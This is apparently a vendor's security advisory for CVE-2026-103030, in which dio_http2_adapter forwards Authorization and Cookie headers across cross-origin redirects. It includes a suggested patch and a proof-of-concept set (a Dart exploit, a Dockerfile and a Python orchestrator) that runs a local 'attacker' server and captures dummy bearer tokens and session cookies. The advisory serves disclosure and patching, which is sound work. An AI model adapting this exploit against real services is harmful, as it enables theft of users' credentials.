Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🎯
🎯 Pub
Not in CISA KEV
HIGH severity

CVE-2026-103030 — dio_http2_adapter

HIGHFix: cfug/dio@9d7ac91

CVE-2026-103030 is a high-severity (CVSS 7.5) Information Exposure vulnerability in dio_http2_adapter. A fix is available for dio_http2_adapter — see the affected versions and patch details below.

Dio: Cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`

Also known asGHSA-cr65-55v9-xhvv
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-103030.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-103030 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🎯dio_http2_adapter

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Pub packages — download data is not available via public APIs for these ecosystems.

Description

Summary

dio_http2_adapter follows HTTP Location redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin 302 redirect receives the victim's Authorization, Cookie, and Proxy-Authorization headers verbatim. This vulnerability has a CVSS v3.1 base score of 7.5 (High) because followRedirects is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.

Details

When Dio is configured to use Http2Adapter, the adapter's internal _fetch method constructs HTTP/2 request headers by unconditionally copying all entries from options.headers:

// plugins/http2_adapter/lib/src/http2_adapter.dart:111
headers.addAll(
  options.headers.entries.map((entry) {
    ...
    return Header.ascii(entry.key.toLowerCase(), v);
  }).toList(),
);

On receiving a 3xx response, the adapter reads the Location header and resolves the redirect target URI:

// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263
final url = responseHeaders.value('location');
final uri = Uri.parse(url ?? '');
final String path = resolveRedirectUri(options.uri, uri).toString();
return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);

options.copyWith is called without an explicit headers argument; dio/lib/src/options.dart:629 therefore preserves the full original header map via headers ?? Map.from(this.headers). resolveRedirectUri (http2_adapter.dart:290) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including Authorization, Cookie, and Proxy-Authorization — is forwarded to the new authority with no sanitization.

Data flow (source → sink):

  1. dio/lib/src/dio_mixin.dart:383 — public Dio.request<T>(String path, ...) entry point.
  2. dio/lib/src/options.dart:331 — base and per-request headers merged into RequestOptions.
  3. dio/lib/src/dio_mixin.dart:596 — httpClientAdapter.fetch(reqOpt, ...) dispatches to Http2Adapter.
  4. plugins/http2_adapter/lib/src/http2_adapter.dart:254 — Location header is read from the network response (attacker-controlled source).
  5. plugins/http2_adapter/lib/src/http2_adapter.dart:258 — redirect target URI resolved; cross-origin check absent.
  6. plugins/http2_adapter/lib/src/http2_adapter.dart:260 — options.copyWith(path: path, ...) called without headers override.
  7. dio/lib/src/options.dart:629 — copyWith preserves Map.from(this.headers) — all sensitive headers retained.
  8. plugins/http2_adapter/lib/src/http2_adapter.dart:111 — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).

Suggested patch — strip sensitive headers before following a cross-origin redirect:

--- a/plugins/http2_adapter/lib/src/http2_adapter.dart
+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart
+  static const _sensitiveRedirectHeaders = {
+    'authorization',
+    'cookie',
+    'proxy-authorization',
+  };
+
-      final String path = resolveRedirectUri(options.uri, uri).toString();
+      final redirectUri = resolveRedirectUri(options.uri, uri);
+      final redirectOptions = options.copyWith(
+        path: redirectUri.toString(),
+        maxRedirects: --options.maxRedirects,
+      );
+      if (!_sameOrigin(options.uri, redirectUri)) {
+        redirectOptions.headers.removeWhere(
+          (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()),
+        );
+      }
       return _fetch(
-        options.copyWith(path: path, maxRedirects: --options.maxRedirects),
+        redirectOptions,
         list != null ? Stream.fromIterable(list) : null,
         cancelFuture,
         redirects,
       );
+
+  static bool _sameOrigin(Uri a, Uri b) =>
+      a.scheme == b.scheme && a.host == b.host && a.port == b.port;

PoC

The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).

Prerequisites:

  • Docker installed and accessible.
  • Repository checked out at the path used as the build context.

Build and run:

# From the repository root (github_web_81_cfug__dio/)
docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .
docker run --rm --network none dio-vuln-001:poc

What the container does:

  1. Starts an origin h2c server on 127.0.0.1:18081 that immediately returns 302 Location: http://127.0.0.1:18082/capture.
  2. Starts an attacker h2c server on 127.0.0.1:18082 that logs every received header.
  3. Executes the following Dart exploit:
final dio = Dio()
  ..httpClientAdapter = Http2Adapter(ConnectionManager());
await dio.get(
  'http://127.0.0.1:18081/start',
  options: Options(headers: {
    'Authorization': 'Bearer SECRET_TOKEN_12345',
    'Cookie': 'sid=SECRET_SESSION_ABC',
    'x-secret': 'internal-secret-value',
  }),
);

Expected output (confirms vulnerability):

RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
LEAKED_COOKIE=sid=SECRET_SESSION_ABC

[ATTACKER] Received headers:
[ATTACKER]   authorization: Bearer SECRET_TOKEN_12345
[ATTACKER]   cookie: sid=SECRET_SESSION_ABC
[ATTACKER]   x-secret: internal-secret-value

The attacker server at 127.0.0.1:18082 receives all three sensitive headers, demonstrating that Http2Adapter forwards them verbatim across the cross-origin redirect with no stripping.

Impact

This is a sensitive information disclosure vulnerability. Any application that:

  1. configures Dio with Http2Adapter, and
  2. sends requests carrying Authorization, Cookie, or Proxy-Authorization headers,

is affected. Because followRedirects defaults to true and maxRedirects defaults to 5, no additional configuration is needed to trigger the bug.

An attacker who controls — or can compromise — any HTTP server that the victim application contacts can issue a 302 redirect to an attacker-owned server and thereby capture the victim's bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token.

Affected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through dio_http2_adapter.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 dynamic reproduction
# Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter
#
# Build context: the parent directory (github_web_81_cfug__dio/)
#   docker build -f vuln-001/Dockerfile -t dio-vuln-001 .
#
# What this image does:
#   1. Installs Dart SDK (stable)
#   2. Copies the vulnerable repository source (dio + dio_http2_adapter)
#   3. Creates a PoC Dart project using path dependencies to the local source
#   4. Resolves pub packages
#   5. On container run: executes the exploit script that starts two local
#      h2c servers (origin + attacker) and makes a redirected request to prove
#      that Authorization/Cookie headers are forwarded to the cross-origin target

FROM dart:stable AS builder

# ── Repository source ──────────────────────────────────────────────────────────
# Copy only the packages we need to keep image small
COPY repo/dio/ /repo/dio/
COPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/

# ── PoC project setup ──────────────────────────────────────────────────────────
WORKDIR /poc

COPY vuln-001/poc_pubspec.yaml pubspec.yaml
COPY vuln-001/poc_exploit.dart lib/main.dart

# Resolve dependencies (requires network access to pub.dev for http2, meta, etc.)
RUN dart pub get

# ── Runtime image (reuse builder to keep it simple) ────────────────────────────
FROM builder AS final

WORKDIR /poc

# Run the exploit; exit code:
#   0 = VULN_CONFIRMED (authorization header leaked to attacker)
#   1 = NOT_VULNERABLE  (header was stripped or redirect not followed)
#   2 = FAIL            (attacker server never received a request — env issue)
CMD ["dart", "run", "lib/main.dart"]

poc.py

#!/usr/bin/env python3
"""
PoC orchestrator for VULN-001:
  Cross-origin redirect leaks sensitive request headers in dio_http2_adapter.

Usage:
    python3 poc.py [--image-tag TAG]

What it does:
    1. Builds a Docker image containing the vulnerable dio_http2_adapter source
       and a Dart exploit script (poc_exploit.dart).
    2. Runs the container, which:
         a. Starts two local h2c (HTTP/2 cleartext) servers inside the container:
              - Origin  (127.0.0.1:18081): returns 302 → attacker
              - Attacker (127.0.0.1:18082): logs all received headers
         b. Uses dio + Http2Adapter to GET http://origin/start with
            Authorization and Cookie headers.
         c. Follows the 302 redirect to the attacker server.
         d. Reports whether the Authorization header was captured by the attacker.
    3. Writes phase2_result.json with structured verdict.

Exit codes:
    0  PASS   — vulnerability confirmed
    1  FAIL   — not reproduced
    2  ERROR  — build or runtime environment problem
"""

import argparse
import json
import os
import subprocess
import sys
import textwrap
from pathlib import Path

# ── Paths ──────────────────────────────────────────────────────────────────────
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT = SCRIPT_DIR.parent          # github_web_81_cfug__dio/
RESULT_FILE = SCRIPT_DIR / "phase2_result.json"

BUILD_CONTEXT = str(REPO_ROOT)
DOCKERFILE = str(SCRIPT_DIR / "Dockerfile")
DEFAULT_IMAGE_TAG = "dio-vuln-001:poc"


def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
    """Run a subprocess command, streaming stdout/stderr to the terminal."""
    print(f"[+] {' '.join(cmd)}", flush=True)
    return subprocess.run(cmd, **kwargs)


def build_image(tag: str) -> bool:
    """Build the Docker image. Returns True on success."""
    result = run(
        [
            "docker", "build",
            "--file", DOCKERFILE,
            "--tag", tag,
            BUILD_CONTEXT,
        ],
        check=False,
    )
    if result.returncode != 0:
        print(f"[!] Docker build failed (exit {result.returncode})", file=sys.stderr)
        return False
    return True


def run_container(tag: str, timeout_sec: int = 120) -> tuple[int, str, str]:
    """
    Run the container and capture its output.

    Returns:
        (returncode, stdout, stderr)
    """
    result = run(
        [
            "docker", "run",
            "--rm",
            "--network", "none",   # no external network; loopback only
            tag,
        ],
        capture_output=True,
        text=True,
        timeout=timeout_sec,
        check=False,
    )
    return result.returncode, result.stdout, result.stderr


def parse_output(stdout: str, stderr: str) -> dict:
    """
    Parse structured key=value lines from the exploit's stdout.

    The Dart exploit writes lines like:
        RESULT=VULN_CONFIRMED
        LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
        EVIDENCE=...
    """
    parsed = {}
    for line in stdout.splitlines():
        if "=" in line:
            key, _, val = line.partition("=")
            parsed[key.strip()] = val.strip()
    return parsed


def write_result(data: dict) -> None:
    with open(RESULT_FILE, "w", encoding="utf-8") as f:
        json.dump(data, f, ensure_ascii=False, indent=2)
    print(f"\n[+] Result written to {RESULT_FILE}")


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument(
        "--image-tag", default=DEFAULT_IMAGE_TAG,
        help=f"Docker image tag (default: {DEFAULT_IMAGE_TAG})",
    )
    args = parser.parse_args()
    tag = args.image_tag

    build_cmd = (
        f"docker build -f vuln-001/Dockerfile -t {tag} ."
    )
    run_cmd = (
        f"docker run --rm --network none {tag}"
    )
    poc_cmd = (
        f"cd {REPO_ROOT} && {build_cmd} && {run_cmd}"
    )

    # ── Step 1: Build ──────────────────────────────────────────────────────────
    print("=" * 70)
    print("STEP 1: Building Docker image")
    print("=" * 70)
    if not build_image(tag):
        result_data = {
            "passed": False,
            "verdict": "FAIL",
            "reason": "Docker image build failed — dart pub get or source copy error",
            "build_command": f"cd {REPO_ROOT} && {build_cmd}",
            "run_command": run_cmd,
            "poc_command": poc_cmd,
            "evidence": "docker build non-zero exit code",
            "artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
        }
        write_result(result_data)
        return 2

    # ── Step 2: Run exploit ────────────────────────────────────────────────────
    print("\n" + "=" * 70)
    print("STEP 2: Running exploit container")
    print("=" * 70)

    try:
        returncode, stdout, stderr = run_container(tag)
    except subprocess.TimeoutExpired:
        result_data = {
            "passed": False,
            "verdict": "INCOMPLETE",
            "reason": "Container execution did not complete within 120 seconds and was terminated due to timeout",
            "build_command": f"cd {REPO_ROOT} && {build_cmd}",
            "run_command": run_cmd,
            "poc_command": poc_cmd,
            "evidence": "subprocess.TimeoutExpired after 120 s",
            "artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
        }
        write_result(result_data)
        return 2

    print("\n── Container STDOUT ─────────────────────────────────────────────")
    print(stdout or "(empty)")
    print("── Container STDERR ─────────────────────────────────────────────")
    print(stderr or "(empty)")
    print("── Exit code:", returncode, "─────────────────────────────────────")

    # ── Step 3: Evaluate results ───────────────────────────────────────────────
    parsed = parse_output(stdout, stderr)
    exploit_result = parsed.get("RESULT", "")
    leaked_header = parsed.get("LEAKED_HEADER", "")
    evidence_line = parsed.get("EVIDENCE", "")

    if returncode == 0 and exploit_result == "VULN_CONFIRMED" and leaked_header:
        # Combine stdout + a snippet of stderr for the evidence field
        stderr_snippet = "\n".join(
            line for line in stderr.splitlines()
            if any(tag in line for tag in ("[ATTACKER]", "[RESULT]", "[EVIDENCE]"))
        )[:1500]
        evidence = (
            f"stdout: {stdout.strip()}\n\n"
            f"stderr (relevant):\n{stderr_snippet}"
        )
        result_data = {
            "passed": True,
            "verdict": "PASS",
            "reason": (
                "dio_http2_adapter forwarded the original Authorization header verbatim "
                "to the attacker's server without stripping it when following a "
                "cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) "
                f"received '{leaked_header}'."
            ),
            "build_command": f"cd {REPO_ROOT} && {build_cmd}",
            "run_command": run_cmd,
            "poc_command": poc_cmd,
            "evidence": evidence,
            "artifacts": [
                "Dockerfile",
                "poc_exploit.dart",
                "poc_pubspec.yaml",
                "poc.py",
            ],
        }
        write_result(result_data)
        print("\n[PASS] VULN-001 reproduced successfully.")
        return 0

    elif returncode == 1 or exploit_result == "NOT_VULNERABLE":
        result_data = {
            "passed": False,
            "verdict": "FAIL",
            "reason": (
                "Container execution succeeded, but the attacker server did not "
                "receive the Authorization header. The vulnerability was not "
                f"reproduced in this environment. Parsed result: {parsed}"
            ),
            "build_command": f"cd {REPO_ROOT} && {build_cmd}",
            "run_command": run_cmd,
            "poc_command": poc_cmd,
            "evidence": stdout + "\n" + stderr,
            "artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
        }
        write_result(result_data)
        print("\n[FAIL] Vulnerability not reproduced.")
        return 1

    else:
        # returncode == 2 or other unexpected failure
        result_data = {
            "passed": False,
            "verdict": "INCOMPLETE",
            "reason": (
                f"Container execution failed or exited with an unexpected code {returncode}. "
                "Cause: h2c server startup error, network issue, or Dart runtime "
                "error. Check the stderr log and retry without --network none."
            ),
            "build_command": f"cd {REPO_ROOT} && {build_cmd}",
            "run_command": run_cmd,
            "poc_command": poc_cmd,
            "evidence": f"exit={returncode}\nstdout={stdout}\nstderr={stderr}",
            "artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
        }
        write_result(result_data)
        print(f"\n[INCOMPLETE] Container exited with code {returncode}.")
        return 2


if __name__ == "__main__":
    sys.exit(main())

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🎯Pubdio_http2_adapter≥ 1.0.0&&< 2.8.02.8.0dart pub upgrade dio_http2_adapter

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dio_http2_adapter, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update dio_http2_adapter to 2.8.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-103030 is resolved across your whole dependency graph.

  3. Workarounds

    Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.

Frequently Asked Questions

### Summary `dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim's `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high. ### Details When `Dio` is configured to use `Http2Adapter`, the
O3 Security · Impact-Aware SCA

Is CVE-2026-103030 in your dependencies?

Find it across Pub, including transitive dependencies.

CVE-2026-103030: dio_http2 — Fixed in 2.8.0